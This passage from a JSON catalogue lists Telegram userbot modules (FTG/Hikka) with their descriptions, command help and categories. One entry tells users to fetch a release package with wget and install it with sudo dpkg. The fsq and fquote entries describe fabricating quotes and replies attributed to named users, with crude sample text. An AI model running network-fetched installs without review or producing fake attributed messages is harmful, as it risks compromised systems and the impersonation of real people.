"fsq": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование:\n\n• .fsq <@ или ID> + <текст> - квота от юзера с @ или ID + указанный текст\n>>> .fsq @onetimeusername Вам пизда\n\n• .fsq <реплай> + <текст> - квота от юзера с реплая + указанный текст\n>>> .fsq Я лох\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст> - квота с фейковым реплаем\n>>> .fsq @Fl1yd спасибо -r @onetimeusername Ты крутой\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст>; <аргументы> - квота с фейковыми мульти сообщениями\n>>> .fsq @onetimeusername Пацаны из @sh1tchannel, ждите награду за ахуенный ботнет; @guslslakkaakdkab чево; @Fl1yd НАШ БОТНЕТ ЛУЧШИЙ -r @guslslakkaakdkab чево" + } + }, + { + "sqset": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование:\n\n• .sqset <bg_color/text_color/debug> (<цвет для bg_color/text_color> <True/False для debug>)\n>>> .sqset bg_color #2d2d2d\n>>> .sqset debug true" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/weather.py": { + "name": "WeatherMod", + "description": "Weather Module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pwcmd": "\"Picture of weather.\n.aw <city>" + }, + { + "awcmd": "ASCII-art of weather.\n.aw <city>" + }, + { + "wcmd": ".w <city>" + } + ], + "new_commands": [ + { + "pw": { + "ru_doc": null, + "en_doc": null, + "doc": "\"Picture of weather.\n.aw <city>" + } + }, + { + "aw": { + "ru_doc": null, + "en_doc": null, + "doc": "ASCII-art of weather.\n.aw <city>" + } + }, + { + "w": { + "ru_doc": null, + "en_doc": null, + "doc": ".w <city>" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "GeekTG/FTG-Modules/distort.py": { + "name": "DistortMod", + "description": "Stickers or photo distort", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tgscmd": "Animated stickers distort" + }, + { + "distortcmd": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => sends as photo\n50 => (from 0 to 100) percent of distortion, 0 is maximum distortion" + }, + { + "jpegdcmd": "JPEG style distort" + } + ], + "new_commands": [ + { + "tgs": { + "ru_doc": null, + "en_doc": null, + "doc": "Animated stickers distort" + } + }, + { + "distort": { + "ru_doc": null, + "en_doc": null, + "doc": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => sends as photo\n50 => (from 0 to 100) percent of distortion, 0 is maximum distortion" + } + }, + { + "jpegd": { + "ru_doc": null, + "en_doc": null, + "doc": "JPEG style distort" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/lmgtfy.py": { + "name": "LMGTFYMod", + "description": "Let me Google that for you, coz you too lazy to do that yourself.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "lmgtfycmd": "Use in reply to another message or as .lmgtfy <text>" + } + ], + "new_commands": [ + { + "lmgtfy": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to another message or as .lmgtfy <text>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/recent_actions.py": { + "name": "RecentActionsMod", + "description": "Reads recent actions", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "recoverdeletedcmd": "Restores deleted messages sent after replied message (optionally specify how many to recover)" + } + ], + "new_commands": [ + { + "recoverdeleted": { + "ru_doc": null, + "en_doc": null, + "doc": "Restores deleted messages sent after replied message (optionally specify how many to recover)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/calculator.py": { + "name": "CalculatorMod", + "description": "Calculator module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "calccmd": ".calc 2 * 2" + } + ], + "new_commands": [ + { + "calc": { + "ru_doc": null, + "en_doc": null, + "doc": ".calc 2 * 2" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "GeekTG/FTG-Modules/voice_recognition.py": { + "name": "VoiceRecognitionMod", + "description": "Распознавание речи через Google Recognition API", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "recvcmd": ".recv <reply to voice/audio> - распознать речь" + } + ], + "new_commands": [ + { + "recv": { + "ru_doc": null, + "en_doc": null, + "doc": ".recv <reply to voice/audio> - распознать речь" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "GeekTG/FTG-Modules/filter.py": { + "name": "FiltersMod", + "description": "Filters module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "filtercmd": "Adds a filter into the list." + }, + { + "stopcmd": "Removes a filter from the list." + }, + { + "stopallcmd": "Clears out the filter list." + }, + { + "filterscmd": "Shows saved filters." + } + ], + "new_commands": [ + { + "filter": { + "ru_doc": null, + "en_doc": null, + "doc": "Adds a filter into the list." + } + }, + { + "stop": { + "ru_doc": null, + "en_doc": null, + "doc": "Removes a filter from the list." + } + }, + { + "stopall": { + "ru_doc": null, + "en_doc": null, + "doc": "Clears out the filter list." + } + }, + { + "filters": { + "ru_doc": null, + "en_doc": null, + "doc": "Shows saved filters." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/morze.py": { + "name": "MorzeMod", + "description": "Конвертация текста в шифр Морзе и наоборот.\n\nСимволы использовать не советую, могут возникать ошибки!!", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tomrzcmd": ".tomrz [реплай или текст]" + }, + { + "toabccmd": ".toabc [реплай или текст]" + } + ], + "new_commands": [ + { + "tomrz": { + "ru_doc": null, + "en_doc": null, + "doc": ".tomrz [реплай или текст]" + } + }, + { + "toabc": { + "ru_doc": null, + "en_doc": null, + "doc": ".toabc [реплай или текст]" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/searcher.py": { + "name": "SearchMod", + "description": "Searcher module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "yarscmd": ".yars <repy to image>" + } + ], + "new_commands": [ + { + "yars": { + "ru_doc": null, + "en_doc": null, + "doc": ".yars <repy to image>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/qr_code.py": { + "name": "QRtoolsMod", + "description": "Generator and reader of QR codes", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "makeqrcmd": ".makeqr <text or reply>" + }, + { + "readqrcmd": ".readqr <qrcode or reply to qrcode>" + } + ], + "new_commands": [ + { + "makeqr": { + "ru_doc": null, + "en_doc": null, + "doc": ".makeqr <text or reply>" + } + }, + { + "readqr": { + "ru_doc": null, + "en_doc": null, + "doc": ".readqr <qrcode or reply to qrcode>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/conthelper.py": { + "name": "ConthelperMod", + "description": "Commands:", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "reportcmd": "User report for spam." + }, + { + "blockcmd": "Use: .block to block this user." + }, + { + "unblockcmd": "Use: .unblock to unblock this user." + }, + { + "delcontcmd": "Use: .delcont to remove a user from contacts." + }, + { + "addcontcmd": "Use: .addcont to add somebody in contacts." + } + ], + "new_commands": [ + { + "report": { + "ru_doc": null, + "en_doc": null, + "doc": "User report for spam." + } + }, + { + "block": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .block to block this user." + } + }, + { + "unblock": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .unblock to unblock this user." + } + }, + { + "delcont": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .delcont to remove a user from contacts." + } + }, + { + "addcont": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .addcont to add somebody in contacts." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/welcome.py": { + "name": "WelcomeMod", + "description": "Приветствие новых пользователей в чате.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "welcomecmd": "Включить/выключить приветствие новых пользователей в чате.\nИспользуй: .welcome <clearall (по желанию)>." + }, + { + "setwelcomecmd": "Установить новое приветствие новых пользователей в\n чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {\n chat})>; ничего." + } + ], + "new_commands": [ + { + "welcome": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить приветствие новых пользователей в чате.\nИспользуй: .welcome <clearall (по желанию)>." + } + }, + { + "setwelcome": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить новое приветствие новых пользователей в\n чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {\n chat})>; ничего." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/quotes.py": { + "name": "mQuotesMod", + "description": "Quote a message using Mishase Quotes API", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "quotecmd": "Quote a message. Args: ?<count> ?file" + }, + { + "fquotecmd": "Fake message quote. Args: @<username>/<id>/<reply> <text>" + } + ], + "new_commands": [ + { + "quote": { + "ru_doc": null, + "en_doc": null, + "doc": "Quote a message. Args: ?<count> ?file" + } + }, + { + "fquote": { + "ru_doc": null, + "en_doc": null, + "doc": "Fake message quote. Args: @<username>/<id>/<reply> <text>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/text_generator.py": { + "name": "TextGeneratorMod", + "description": "Generating text using machine learning", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pfcmd": "Generates text with Porfirevich: porfirevich.ru" + }, + { + "gptcmd": "Generates text with ruGPT-3 XL: russiannlp.github.io/rugpt-demo/" + } + ], + "new_commands": [ + { + "pf": { + "ru_doc": null, + "en_doc": null, + "doc": "Generates text with Porfirevich: porfirevich.ru" + } + }, + { + "gpt": { + "ru_doc": null, + "en_doc": null, + "doc": "Generates text with ruGPT-3 XL: russiannlp.github.io/rugpt-demo/" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/warn.py": { + "name": "WarnsMod", + "description": "Система предупреждений.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "warncmd": "Выдать варн. Используй: .warn <@ или реплай>." + }, + { + "warnslimitcmd": "Установить лимит предупреждений. Используй: .warnslimit <кол-во:int>." + }, + { + "warnscmd": "Посмотреть кол-во варнов. Используй: .warns <@ или реплай> или <list>." + }, + { + "swarncmd": "Изменить режим ограничения. Используй: .swarn <kick/ban/mute/none>." + }, + { + "clearwarnscmd": "Очистить все варны. Используй: .clearwarns <@ или реплай>." + } + ], + "new_commands": [ + { + "warn": { + "ru_doc": null, + "en_doc": null, + "doc": "Выдать варн. Используй: .warn <@ или реплай>." + } + }, + { + "warnslimit": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить лимит предупреждений. Используй: .warnslimit <кол-во:int>." + } + }, + { + "warns": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть кол-во варнов. Используй: .warns <@ или реплай> или <list>." + } + }, + { + "swarn": { + "ru_doc": null, + "en_doc": null, + "doc": "Изменить режим ограничения. Используй: .swarn <kick/ban/mute/none>." + } + }, + { + "clearwarns": { + "ru_doc": null, + "en_doc": null, + "doc": "Очистить все варны. Используй: .clearwarns <@ или реплай>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/screenshot.py": { + "name": "WebShotMod", + "description": "Screenshot module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "webshotcmd": "Reply to link" + }, + { + "fileshotcmd": "Reply to file" + } + ], + "new_commands": [ + { + "webshot": { + "ru_doc": null, + "en_doc": null, + "doc": "Reply to link" + } + }, + { + "fileshot": { + "ru_doc": null, + "en_doc": null, + "doc": "Reply to file" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/fake_actions.py": { + "name": "FakeMod", + "description": "Imitates your actions", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "typecmd": "Imitates typing" + }, + { + "voicecmd": "Imitates sending voices" + }, + { + "gamecmd": "Imitates your game activity" + }, + { + "videocmd": "Imitates sending video" + }, + { + "photocmd": "Imitates sending photo" + }, + { + "documentcmd": "Imitates sending document" + }, + { + "locationcmd": "Imitates sending location" + }, + { + "recordvideocmd": "Imitates recording video" + }, + { + "recordvoicecmd": "Imitates recording voice" + }, + { + "recordroundcmd": "Imitates recording round video" + }, + { + "scrncmd": "Screenshot notification (Only PM)" + } + ], + "new_commands": [ + { + "type": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates typing" + } + }, + { + "voice": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates sending voices" + } + }, + { + "game": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates your game activity" + } + }, + { + "video": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates sending video" + } + }, + { + "photo": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates sending photo" + } + }, + { + "document": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates sending document" + } + }, + { + "location": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates sending location" + } + }, + { + "recordvideo": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates recording video" + } + }, + { + "recordvoice": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates recording voice" + } + }, + { + "recordround": { + "ru_doc": null, + "en_doc": null, + "doc": "Imitates recording round video" + } + }, + { + "scrn": { + "ru_doc": null, + "en_doc": null, + "doc": "Screenshot notification (Only PM)" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "GeekTG/FTG-Modules/audio_editor.py": { + "name": "AudioEditorMod", + "description": "Module for working with sound", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "basscmd": ".bass [level bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" + }, + { + "fvcmd": ".fv [level 2-100 (Default 25)] <reply to audio>\nDistort" + }, + { + "echoscmd": ".echos <reply to audio>\nEcho effect" + }, + { + "volupcmd": ".volup <reply to audio>\nVolUp 10dB" + }, + { + "voldwcmd": ".voldw <reply to audio>\nVolDw 10dB" + }, + { + "revscmd": ".revs <reply to audio>\nReverse audio" + }, + { + "repscmd": ".reps <reply to audio>\nRepeat audio 2 times" + }, + { + "slowscmd": ".slows <reply to audio>\nSlowDown 0.5x" + }, + { + "fastscmd": ".fasts <reply to audio>\nSpeedUp 1.5x" + }, + { + "rightscmd": ".rights <reply to audio>\nPush sound to right channel" + }, + { + "leftscmd": ".lefts <reply to audio>\nPush sound to left channel" + }, + { + "normscmd": ".norms <reply to audio>\nNormalize sound (from quiet to normal)" + }, + { + "tovscmd": ".tovs <reply to audio>\nConvert to voice message" + }, + { + "convscmd": ".convs <reply to audio> [audio_format (ex. `mp3`)]\nConvert audio to some format" + }, + { + "byrobertscmd": ".byroberts <reply to audio>\nAdd at the end \"Directed by Robert B Weide\"" + }, + { + "cutscmd": ".cuts <start(ms):end(ms)> <reply to audio>\nCut audio" + } + ], + "new_commands": [ + { + "bass": { + "ru_doc": null, + "en_doc": null, + "doc": ".bass [level bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" + } + }, + { + "fv": { + "ru_doc": null, + "en_doc": null, + "doc": ".fv [level 2-100 (Default 25)] <reply to audio>\nDistort" + } + }, + { + "echos": { + "ru_doc": null, + "en_doc": null, + "doc": ".echos <reply to audio>\nEcho effect" + } + }, + { + "volup": { + "ru_doc": null, + "en_doc": null, + "doc": ".volup <reply to audio>\nVolUp 10dB" + } + }, + { + "voldw": { + "ru_doc": null, + "en_doc": null, + "doc": ".voldw <reply to audio>\nVolDw 10dB" + } + }, + { + "revs": { + "ru_doc": null, + "en_doc": null, + "doc": ".revs <reply to audio>\nReverse audio" + } + }, + { + "reps": { + "ru_doc": null, + "en_doc": null, + "doc": ".reps <reply to audio>\nRepeat audio 2 times" + } + }, + { + "slows": { + "ru_doc": null, + "en_doc": null, + "doc": ".slows <reply to audio>\nSlowDown 0.5x" + } + }, + { + "fasts": { + "ru_doc": null, + "en_doc": null, + "doc": ".fasts <reply to audio>\nSpeedUp 1.5x" + } + }, + { + "rights": { + "ru_doc": null, + "en_doc": null, + "doc": ".rights <reply to audio>\nPush sound to right channel" + } + }, + { + "lefts": { + "ru_doc": null, + "en_doc": null, + "doc": ".lefts <reply to audio>\nPush sound to left channel" + } + }, + { + "norms": { + "ru_doc": null, + "en_doc": null, + "doc": ".norms <reply to audio>\nNormalize sound (from quiet to normal)" + } + }, + { + "tovs": { + "ru_doc": null, + "en_doc": null, + "doc": ".tovs <reply to audio>\nConvert to voice message" + } + }, + { + "convs": { + "ru_doc": null, + "en_doc": null, + "doc": ".convs <reply to audio> [audio_format (ex. `mp3`)]\nConvert audio to some format" + } + }, + { + "byroberts": { + "ru_doc": null, + "en_doc": null, + "doc": ".byroberts <reply to audio>\nAdd at the end \"Directed by Robert B Weide\"" + } + }, + { + "cuts": { + "ru_doc": null, + "en_doc": null, + "doc": ".cuts <start(ms):end(ms)> <reply to audio>\nCut audio" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "vsecoder/hikka_modules/searx.py": { + "name": "SearXMod", + "description": "Module for multi search", + "meta": { + "pic": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSCO9v08B8wLGwL4UMxZzlf7tNOvsRvWQjMypjq5uyvxhAa03NbOO40DY1m-Rr4aYeK7WE&usqp=CAU", + "banner": "https://chojuu.vercel.app/api/banner?img=https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSCO9v08B8wLGwL4UMxZzlf7tNOvsRvWQjMypjq5uyvxhAa03NbOO40DY1m-Rr4aYeK7WE&usqp=CAU&title=SearX&description=Telegram%20SearX%20Engine", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "searxcmd": " {text} - search text in the internet\n\nBased on SearX and t.me/fleef code" + } + ], + "new_commands": [ + { + "searx": { + "ru_doc": null, + "en_doc": null, + "doc": " {text} - search text in the internet\n\nBased on SearX and t.me/fleef code" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "vsecoder/hikka_modules/octocode.py": { + "name": "OctoCodeMod", + "description": "Module for octopussed code\n\nhttps://github.com/charmbracelet/freeze based\n\nTo use, run this in .terminal:\n\nwget https://github.com/charmbracelet/freeze/releases/download/v0.1.6/freeze_0.1.6_amd64.deb\nsudo dpkg -i freeze_0.1.6_amd64.deb", + "meta": { + "pic": "https://img.icons8.com/cotton/344/code.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/cotton/344/code.png&title=OctoCode&description=OctoCode%20is%20a%20module%20for%20octopussed%20code%20in%20Telegram", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "octocmd": " \"reply file\" or \"send file\"\nOctopussed your code" + } + ], + "new_commands": [ + { + "octo": { + "ru_doc": null, + "en_doc": null, + "doc": " \"reply file\" or \"send file\"\nOctopussed your code" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/profile.py": { + "name": "Profilemod", + "description": "Module for get beautiful picture profile statistic", + "meta": { + "pic": "https://img.icons8.com/office/344/administrator-male--v1.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/office/344/administrator-male--v1.png&title=Profilemod&description=Telegram%20Profile%20Statistic", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "profilecmd": "- get" + } + ], + "new_commands": [ + { + "profile": { + "ru_doc": null, + "en_doc": null, + "doc": "- get" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "vsecoder/hikka_modules/ymnow.py": { + "name": "YmNowBetaMod", + "description": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime. [BETA]\n\nNow on Ynison API.", + "meta": { + "pic": "https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg&title=YMNow&description=Module%20for%20yandex%20music", + "developer": "@vsecoder_m", + "desc": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime [beta]" + }, + "commands": [ + { + "ynowcmd": "Get now playing track" + }, + { + "ybio": "Show now playing track in your bio" + }, + { + "automsgcmd": "Toggle YandexMusic widgets' updates" + } + ], + "new_commands": [ + { + "ynow": { + "ru_doc": null, + "en_doc": null, + "doc": "Get now playing track" + } + }, + { + "ybio": { + "ru_doc": null, + "en_doc": null, + "doc": "Show now playing track in your bio" + } + }, + { + "automsg": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle YandexMusic widgets' updates" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/hh.py": { + "name": "HHMod", + "description": "@hikkahost userbot manager module", + "meta": { + "pic": "https://avatars.githubusercontent.com/u/128410002", + "banner": "https://chojuu.vercel.app/api/banner?img=https://avatars.githubusercontent.com/u/128410002&title=HH&description=Hikkahost%20userbot%20manager%20module", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "hinfocmd": "- статус юзербота - ub status" + }, + { + "hlogscmd": "- логи юзербота - ub logs" + }, + { + "hrestartcmd": "- перезагрузить юзербота - ub restart" + } + ], + "new_commands": [ + { + "hinfo": { + "ru_doc": null, + "en_doc": " - ub status", + "doc": "- статус юзербота" + } + }, + { + "hlogs": { + "ru_doc": null, + "en_doc": " - ub logs", + "doc": "- логи юзербота" + } + }, + { + "hrestart": { + "ru_doc": null, + "en_doc": " - ub restart", + "doc": "- перезагрузить юзербота" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/chatgptfree.py": { + "name": "ChatGPTfreeMod", + "description": "Бесплатный модуль для ChatGPT\nhttps://t.me/Jarvis_IT_Assistant_bot\nСначала запустите бота и отключите уведомления", + "meta": { + "pic": null, + "banner": null, + "developer": "@vsecoder_m" + }, + "commands": [ + { + "chatgptfreecmd": "{text} - обработать текст через ChatGPT" + }, + { + "contextgptcmd": "- сбросить диалог и начать новый" + } + ], + "new_commands": [ + { + "chatgptfree": { + "ru_doc": null, + "en_doc": null, + "doc": "{text} - обработать текст через ChatGPT" + } + }, + { + "contextgpt": { + "ru_doc": null, + "en_doc": null, + "doc": "- сбросить диалог и начать новый" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/RussianRoulette.py": { + "name": "RussianRouletteMod", + "description": "Module for \"Russian roulette\" game", + "meta": { + "pic": "https://img.icons8.com/external-flaticons-lineal-color-flat-icons/344/external-roulette-casino-flaticons-lineal-color-flat-icons-3.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-flaticons-lineal-color-flat-icons/344/external-roulette-casino-flaticons-lineal-color-flat-icons-3.png&title=Russian%20roulette&description=Telegram%20Russian%20roulette%20game", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "revolvercmd": "- to start \"Russian roulette\"" + } + ], + "new_commands": [ + { + "revolver": { + "ru_doc": null, + "en_doc": null, + "doc": "- to start \"Russian roulette\"" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "vsecoder/hikka_modules/hypixel.py": { + "name": "HypixelMod", + "description": "Module for getting information about minecraft Hypixel player (beta)", + "meta": { + "pic": "https://img.icons8.com/cute-clipart/64/minecraft-logo.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/cute-clipart/64/minecraft-logo.png&title=Hypixel&description=Module%20for%20getting%20information%20about%20minecraft%20Hypixel%20player", + "developer": "@vsecoder_m", + "desc": "Module for getting information about minecraft Hypixel player" + }, + "commands": [ + { + "statcmd": "Get stats about Hypixel player" + } + ], + "new_commands": [ + { + "stat": { + "ru_doc": null, + "en_doc": null, + "doc": "Get stats about Hypixel player" + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "vsecoder/hikka_modules/Limoka.py": { + "name": "Limoka", + "description": "Hikka modules are now in one place with easy searching!", + "meta": { + "pic": null, + "banner": null, + "developer": "@limokanews" + }, + "commands": [ + { + "limoka": "[query] - Search module" + } + ], + "new_commands": [ + { + "limoka": { + "ru_doc": null, + "en_doc": null, + "doc": "[query] - Search module" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/calc.py": { + "name": "CalcMod", + "description": "Module for inline calc", + "meta": { + "pic": "https://img.icons8.com/color/344/calculate.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/344/calculate.png&title=Calc&description=Module%20for%20inline%20calc", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "calccmd": " - init calc\nBased on... my code)" + } + ], + "new_commands": [ + { + "calc": { + "ru_doc": null, + "en_doc": null, + "doc": " - init calc\nBased on... my code)" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "vsecoder/hikka_modules/speechcensorship.py": { + "name": "SpeechCensorshipMod", + "description": "Module for censoring your speech", + "meta": { + "pic": null, + "banner": null, + "developer": "@vsecoder_m" + }, + "commands": [ + { + "censorshipcmd": "Turn on/off censorship mode" + } + ], + "new_commands": [ + { + "censorship": { + "ru_doc": null, + "en_doc": null, + "doc": "Turn on/off censorship mode" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/ymnowbeta.py": { + "name": "YmNowBetaMod", + "description": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime. [BETA]", + "meta": { + "pic": "https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg&title=YMNow&description=Module%20for%20yandex%20music", + "developer": "@vsecoder_m", + "desc": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime [beta]" + }, + "commands": [ + { + "ynowcmd": "Get now playing track" + }, + { + "ybio": "Show now playing track in your bio" + } + ], + "new_commands": [ + { + "ynow": { + "ru_doc": null, + "en_doc": null, + "doc": "Get now playing track" + } + }, + { + "ybio": { + "ru_doc": null, + "en_doc": null, + "doc": "Show now playing track in your bio" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/steam.py": { + "name": "SteamMod", + "description": "Module for get Steam account information\n\nLater (TODO):\n- achivments list\n- {STEAM} widget", + "meta": { + "pic": "https://img.icons8.com/3d-fluency/94/steam.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/3d-fluency/94/steam.png&title=Steam&description=Module%20for%20get%20Steam%20account%20information", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "steamcmd": "- get steam profile" + } + ], + "new_commands": [ + { + "steam": { + "ru_doc": null, + "en_doc": null, + "doc": "- get steam profile" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/monkeytype.py": { + "name": "MonkeyTypeMod", + "description": "Module for getting information about monkeytype.com stats\n\n{15/30/60/120:times} - dividing tests by time (default: 15)\nNeed only account username (not full link)!", + "meta": { + "pic": "https://img.icons8.com/stickers/100/keyboard.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/stickers/100/keyboard.png&title=MonkeyType&description=Module%20for%20getting%20information%20about%20monkeytype.com%20stats", + "developer": "@vsecoder_m", + "desc": "Module for getting information about monkeytype.com stats" + }, + "commands": [ + { + "monkeytypestatscmd": "{username} {15/30/60/120:times} - get monkeytype.com user stats" + } + ], + "new_commands": [ + { + "monkeytypestats": { + "ru_doc": null, + "en_doc": null, + "doc": "{username} {15/30/60/120:times} - get monkeytype.com user stats" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "vsecoder/hikka_modules/formatter.py": { + "name": "FormatterMod", + "description": "Module for prettifying the formatting of messages 🪛\n\n📌 For example write:\n--------------------\nHi, now is {now}, today is {today}, yesterday is {yesterday}, my id is {id}, username is @{username}...\n\n⌨️ Keyboard:\n~\n📥 Modules $ https://t.me/vsecoder_m\n👨‍💻 Dev $ https://t.me/vsecoder\n--------------------\n\nP.S. \"~\" is a separator for keyboard and message.\n \"$\" is a separator for button and link.", + "meta": { + "pic": "https://img.icons8.com/fluency/344/pen-1.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/fluency/344/pen-1.png&title=FormatterMod&description=Module%20for%20prettifying%20the%20formatting%20of%20messages", + "developer": "@vsecoder_m" + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/biopage.py": { + "name": "BioPageMod", + "description": "Module for create bio page", + "meta": { + "pic": "https://img.icons8.com/external-filled-outline-wichaiwi/344/external-page-uxui-design-filled-outline-wichaiwi.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-filled-outline-wichaiwi/344/external-page-uxui-design-filled-outline-wichaiwi.png&title=BioPage&description=Module%20for%20create%20bio%20page", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "biotogglecmd": " - toggle bio page(default: off)\nBased on... my code)" + } + ], + "new_commands": [ + { + "biotoggle": { + "ru_doc": null, + "en_doc": null, + "doc": " - toggle bio page(default: off)\nBased on... my code)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "vsecoder/hikka_modules/googleit.py": { + "name": "GoogleItMod", + "description": "Module for google search", + "meta": { + "pic": "https://img.icons8.com/bubbles/344/google-logo.png", + "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/bubbles/344/google-logo.png&title=GoogleIT&description=Google%20search%20module%20for%20userbot", + "developer": "@vsecoder_m" + }, + "commands": [ + { + "googleitcmd": "{text} - text to search" + } + ], + "new_commands": [ + { + "googleit": { + "ru_doc": null, + "en_doc": null, + "doc": "{text} - text to search" + } + } + ], + "category": [ + 